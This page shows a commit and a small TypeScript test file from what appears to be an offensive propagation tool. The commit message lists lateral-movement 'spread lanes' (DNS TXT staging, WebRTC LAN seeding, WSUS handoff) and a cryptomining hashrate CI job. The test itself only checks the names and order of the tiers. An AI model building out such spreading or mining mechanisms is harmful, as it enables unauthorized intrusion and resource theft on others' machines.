Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
20 lines
902 B
TypeScript
20 lines
902 B
TypeScript
import { describe, it, expect } from 'vitest';
|
|
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
|
|
|
describe('lotlOnionTiers', () => {
|
|
it('lists fourteen tiers in onion order', () => {
|
|
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
|
|
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
|
expect(DEFAULT_LOTL_ONION_TIERS[6]).toBe('do_peer');
|
|
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('webrtc_mesh');
|
|
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
|
|
});
|
|
|
|
it('documents each tier with hint, definition, and example', () => {
|
|
expect(LOTL_ONION_TIER_DOCS).toHaveLength(14);
|
|
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
|
|
// IDs must be a 1:1 match with the canonical tiers array
|
|
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
|
});
|
|
});
|